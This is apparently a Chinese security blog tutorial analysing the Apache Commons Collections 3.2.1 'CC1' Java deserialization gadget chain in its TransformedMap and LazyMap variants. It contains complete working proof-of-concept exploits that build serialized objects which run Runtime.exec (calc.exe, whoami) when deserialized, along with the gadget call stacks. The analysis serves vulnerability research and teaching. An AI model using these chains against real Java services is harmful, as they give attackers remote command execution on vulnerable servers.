正式进入CC1的分析
环境安装
- java 版本 < 8u71
- CommonCollections<=3.2.1
- 有 common-collentions 依赖
首先导入maven中的Common Collections,确保已经安装好mvn环境后,在pom.xml文件中 编写如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>my-maven-project</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>
运行 mvn clean install即可
jdk8u65:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html
分析
首先来分析一下涉及到的接口和类
先给出p神的缩短版来方便理解
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\Windows\\system32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
TransformedMap
TransformedMap
是一个用于处理映射(Map)数据结构的功能类,通常与数据转换和处理有关。它允许使用一种变换函数对映射中的每个条目进行转换,从而生成一个新的映射或集合
该类会在一个元素被增删改的时候调用transformed方法,进行一个回调
在上面的demo可以看到
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
TransformedMap.decorate会对Map类的数据结构进行转化,该方法有3个参数
- 第一个参数可以转化为Map对象
- 第二个参数为Map对象内的key要经过的转化方法
- 第三个参数为Map对象内的value要经过的转化方法
即对innerMap传入的数据进行转化为outerMap
Transformer接口类
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
这个接口类提供了一种对象转换方法 transform
接收一个对象对他进行一些操作之后然后输出。 该接口的重要实现类有:ConstantTransformer
、InvokerTransformer
、ChainedTransformer
、TransformedMap
。 所以TransformedMap
在转换Map的新元素时,就会调⽤transform
⽅法
ConstantTransformer类
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
实现Transformer
接口的一个类.可以看到他的作用是在构造函数的时候传入一个对象,然后再在transform
方法中将这个对象返回.无论接受什么对象都返会构造该实例时传入的iConstant
InvokerTransformer类
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
也是实现transformer
接口的一个类,同时也是反序列化可以用来执行命令的关键原因 接着具体分析
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
传入 三个参数,第一个为要执行的方法名,第二个为这个函数的参数类型,第三个为传给这个函数的参数列表.同时这三个参数都是可控的,意味着我们可以传入任意值
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
//获取输入类的对象
Class cls = input.getClass();
//通过输入的方法名和参数,获取指定的反射方法对象
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//反射调用指定的方法并返回方法调用结果
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
这段直接回调了tansform方法并通过反射来执行了input对象的iMethodName方法,传入一个对象然后调用
ChainedTransformer类
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
可以看到,当传入的对象类型是一个数组时,是会开始循环读取这个数组。当每调用一个参数,就会执行一次 transform
方法。并且,前一个回调返回的结果是后一个回调的参数的传入,这样一来就组成了一个链式结构。
介绍完几个重要的类和接口后,对p神的缩短版来简单分析一下
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\Windows\\system32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
触发点在最后的outerMap.put("test", "xxxx");
当向Map中放入一个新的元素时会触发TransformerMap
类(在上面的对应类可查看解释)
Transformer transformerChain = new ChainedTransformer(transformers);
这里的转换器包含了两个Transformer参数(对应上面new的Transformer[])
第一个是ConstantTransformer,直接返回Runtime对象,由于这个类中的transform方法不受参数的影响,返回值仍为Runtime.class
第二个是InvokerTransformer,依靠链式调用执行Runtime的exec方法,参数为我们想执行的命令
TransformedMap 链
在实际情况下,我们需要找到一个类,它的readOject()方法能有类似 outerMap.put()的操作
因为是用TransformedMap
来串联链子,所以在这个类里面存在三个方法能够执行 ChainedTransformer 的 transform 方法
checkSetValue
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
put
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
putAll
public void putAll(Map mapToCopy) {
mapToCopy = this.transformMap(mapToCopy);
this.getMap().putAll(mapToCopy);
}
所以下一步就是找能调用这三个方法的其中之一就行
在idea中通过ctrl+h
即可搜索调用的方法
直接定位到 AbstractInputCheckedMapDecorator 类
AbstractInputCheckedMapDecorator
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
可以看到 会自动调用checkSetValue 构造如下poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
String cmd ="whoami";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}),
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
//创建map并添加键值对,否则无法进入下面的for循环
HashMap map = new HashMap();
map.put("Yuk1", "zy");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
//遍历Map元素,并调用setValue方法
for (Object key : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) key;
entry.setValue(1);
}
System.out.println(transformedMap);
//打印出可以发现值被改变,Transformer链被调用
}
}
接下来就是寻找setValue()如何执行了
AnnotationInvocationHandler.readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
直接看最后的for循环 和之前的调用方法类似 选择它来当作我们的调用类
需要注意的是因为 AnnotationInvocationHandler 是 API 内部类,我们不能够直接调用,而是需要反射来调用
Class aclass=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=aclass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class,lzmap);
最后的poc如下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\Windows\\system32\\calc.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
map.put("Yuk1", "zy");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class aclass=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=aclass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class,transformedMap);
ByteArrayOutputStream bao=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(bao);
oos.writeObject(handler);
oos.close();
ByteArrayInputStream bai=new ByteArrayInputStream(bao.toByteArray());
ObjectInputStream ois= new ObjectInputStream(bai);
ois.readObject();
ois.close();
}
}
ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()
LazyMap 链
分析了TransformedMap 串联的链子,在ysoserial中是依靠LazyMap来串联链子的 调用栈如下
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
直接来到LazyMap
下调用transform
的地方
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
可以看到这里直接对this.factory
进行了transform,刚好可以拿来串链子 看到上面的factory的构造方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
看到是protected
,,所以我们需要通过 decorate 方法来进入构造方法
发现factory的参数是可空的,那么意味着只要控制其不为空,只要想办法去触发上面的get方法进而触发transfrom就可以串起链子了
先写一个demo来验证一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\Windows\\system32\\calc.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map, chainedTransformer); //获取LazyMap的实例
lazymap.get("bar"); //get触发transform
}
}
可以成功弹出计算器
接着再往上就无法直接找到调用它的方法了,再ysoserial中是通过动态代理来实现调用的
动态代理的原理可以参考: https://www.liaoxuefeng.com/wiki/1252599548343744/1264804593397984
AnnotationInvocationHandler.invoke
截取了部分关键代码
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
经分析,我们需要满足前两条 if 语句,才会触发 memberValues 对象
的get方法
,否则会提前返回值
- 第一个if我们调用方法的名字不为 equals即可绕过
- 第二个if我们无参调用方法即可绕过
然后我们看一下invoke方法
所属类的定义,如下:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
……
}
发现这个类接口了 InvocationHandler,代表该类可以作为动态代理的代理处理器,只要接口了InvocationHandler接口,就必须重写invoke方法,并且调用使用该代理处理器的代理对象中方法之前会自动执行该 invoke方法进而达到调用 LazyMap 的 get 方法
也就意味着只需要创建一个代理对象,通过反射让其代理为AnnotationInvocationHandler类作为处理器的代理对象,所以我们可以这么构造
Map pxmap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(), (Class<?>[]) new Class[]{Map.class}, (InvocationHandler) handler);
接着看这个类,往下找到了readObject方法
,其所用到的关键代码,还是和TransformedMap类所触发的cc链1中一样,为下面的for循环
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
可以看到for循环中的该语句可实现对memberValues变量
中的方法实现无参调用
但是发现AnnotationInvocationHandler类
是私有的,将我们反射获得的 AnnotationInvocationHandler 实例装入 proxy 中
接下来因为 Proxy 内无 writeObject 方法,无法直接序列化,所以我们再在外面包一层 AnnotationInvocationHandler
最终poc如下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.util.*;
import java.lang.reflect.*;
public class test {
public static void main(String[] args) throws Exception {
String cmd="calc";
Transformer[] transformers =new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//创建map并添加键对值,否则下面的for循环无法成功进入
HashMap hsmap=new HashMap();
hsmap.put("value","test");
//装进TransformedMap实例
Map lzmap=LazyMap.decorate(hsmap,chainedTransformer);
Class aclass=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=aclass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class,lzmap);
Map pxmap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(), (Class<?>[]) new Class[]{Map.class}, (InvocationHandler) handler);
handler=constructor.newInstance(Target.class,pxmap);
ByteArrayOutputStream bao=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(bao);
oos.writeObject(handler);
oos.close();
ByteArrayInputStream bai=new ByteArrayInputStream(bao.toByteArray());
ObjectInputStream ois= new ObjectInputStream(bai);
ois.readObject();
ois.close();
}
}
总结一下,与之前transformedMap
的不同之处在于,需要创建一个动态代理类,我们设置它是一个AnnotationInvocationHandler类生成的动态代理对象,在调用Map的所有方法,比如entrySet()方法时,会调用被代理的AnnotationInvocationHandler的invoke()方法,接着调用memberValues.get(member)后来到LazyMap.get(),执行完这句Object value = this.factory.transform(key);
成功调用transform
注:jdk8u71 及以后的版本没有了能调用 readobject 中 setValue()
方法的地方。